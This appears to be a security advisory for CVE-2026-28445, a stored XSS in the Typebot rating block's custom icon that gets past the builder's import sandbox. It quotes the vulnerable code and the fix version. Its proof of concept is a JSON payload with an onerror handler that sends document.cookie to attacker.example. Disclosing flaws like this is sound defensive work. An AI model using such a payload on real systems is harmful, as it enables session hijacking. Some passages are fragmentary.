@typebot.io/js
Affected
- introduced
0, fixed0.10.1(semver)
Fixed versions
0.10.1
Fix
- Fixed version
0.10.1npm install @typebot.io/[email protected]
Advisory
Also known as: CVE-2026-28445
Typebot has Stored XSS via Rating Block Custom Icon that Bypasses isUnsafe Sandbox in Builder Preview
Summary
The rating block's custom icon feature accepts arbitrary HTML/SVG via the customIcon.svg field and renders it using Solid's innerHTML directive without any sanitization. When a malicious typebot is imported or crafted by a workspace collaborator, the payload executes in the builder's DOM context (builder.typebot.io), bypassing the isUnsafe Web Worker sandbox that protects Script blocks during preview. This allows session hijacking and privilege escalation within the builder application.
Severity
High (CVSS 3.1: 8.7)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
isUnsafe sandbox mechanism that protects against imported/untrusted Script blocks. The builder preview renders inline on the builder's origin with 'unsafe-inline' CSP, giving the attacker full access to the victim's builder session.executeScript.ts:22-24). The rating innerHTML does not provide additional capability in this context. This is by design — bot creators control what code runs in their published bots.The adjusted severity reflects the builder-preview-specific impact, which is still High due to session hijacking potential on the privileged builder origin.
Affected Component
packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx — RatingButton component (lines 153-160)apps/builder/src/features/typebot/helpers/sanitizers.ts — sanitizeBlock function (lines 63-119) — missing rating block SVG sanitizationCWE
Description
Unsanitized innerHTML in Rating Block Custom Icon
The RatingButton component in the embeds JS package renders the custom icon SVG directly into the DOM via Solid's innerHTML directive with no sanitization:
// packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx:153-160
<div
class="flex justify-center items-center rating-icon-container"
innerHTML={
props.customIcon?.isEnabled && !isEmpty(props.customIcon.svg)
? props.customIcon.svg
: defaultIcon
}
/>
The customIcon.svg field is stored as a plain string with no content validation at any layer:
// packages/blocks/inputs/src/rating/schema.ts:21-26
customIcon: z
.object({
isEnabled: z.boolean().optional(),
svg: z.string().optional(), // No sanitization — any HTML/JS accepted
})
.optional(),
Inconsistent Defenses — DOMPurify Available But Not Used
The codebase is aware of innerHTML XSS risks. StreamingBubble.tsx uses dompurify to sanitize content before passing it to innerHTML:
// packages/embeds/js/src/components/bubbles/StreamingBubble.tsx:2,28
import domPurify from "dompurify";
// ...
domPurify.sanitize(marked.parse(line, { breaks: true }), { ADD_ATTR: ["target"] })
DOMPurify is already a dependency of the embeds JS package. The rating block simply fails to use it.
Bypass of the isUnsafe Sandbox Mechanism
The codebase has a safety mechanism for imported/untrusted bots. When a typebot is imported, sanitizeGroups is called with enableSafetyFlags: true:
// apps/builder/src/features/typebot/api/handleImportTypebot.ts:121-128
const groups = (
duplicatingBot.groups
? await sanitizeGroups(duplicatingBot.groups, {
workspace,
enableSafetyFlags, // true for imports
})
: []
) as TypebotV6["groups"];
However, sanitizeBlock only flags Script and SetVariable blocks as isUnsafe — rating blocks pass through completely unmodified:
// apps/builder/src/features/typebot/helpers/sanitizers.ts:70-82
const sanitizeBlock = async (block, { enableSafetyFlags, workspace }) => {
if (!("options" in block) || !block.options) return block;
if (enableSafetyFlags && block.type === LogicBlockType.SCRIPT) {
return { ...block, options: { ...block.options, isUnsafe: true } };
}
if (enableSafetyFlags && block.type === LogicBlockType.SET_VARIABLE) {
return { ...block, options: { ...block.options, isUnsafe: true } };
}
// Rating blocks with malicious customIcon.svg pass through here unchanged
// ...
};
At runtime, unsafe Script blocks are sandboxed in a Web Worker during preview:
// packages/embeds/js/src/features/blocks/logic/script/executeScript.ts:14-17
if (isPreview && isUnsafe) {
const argsRecord = Object.fromEntries(args.map((a) => [a.id, a.value]));
const result = await runUserCodeInWorker(code, argsRecord);
But the rating block's innerHTML executes directly in the builder's DOM — no Worker, no sandbox, no checks. This creates a complete bypass of the import safety mechanism.
Builder Preview Executes on the Builder Origin
The builder preview renders the bot inline (not in an iframe) via a web component chain:
EditorPage → PreviewDrawer → WebPreview → <Standard /> (@typebot.io/react)
→ <typebot-standard> web component → Bot (Solid.js) → RatingForm → innerHTML
This means the malicious SVG/HTML executes with full access to the builder's DOM, cookies, and authentication context. The builder's CSP includes 'unsafe-inline' for scripts:
// apps/builder/next.config.mjs:79
`script-src 'self' 'unsafe-inline' 'unsafe-eval' blob: https:`
This permits inline event handlers like onerror to execute.
Proof of Concept
Attack Vector 1: Malicious Typebot Import (Primary)
{
"groups": [{
"blocks": [{
"type": "rating input",
"options": {
"buttonType": "Icons",
"customIcon": {
"isEnabled": true,
"svg": "<img src=x onerror=\"fetch('https://attacker.example/?c='+document.cookie)\">"
}
}
}]
}]
}
High Basis: The source's own band: HIGH
0, fixed 0.10.1 (semver)0.10.1
0.10.1npm install @typebot.io/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0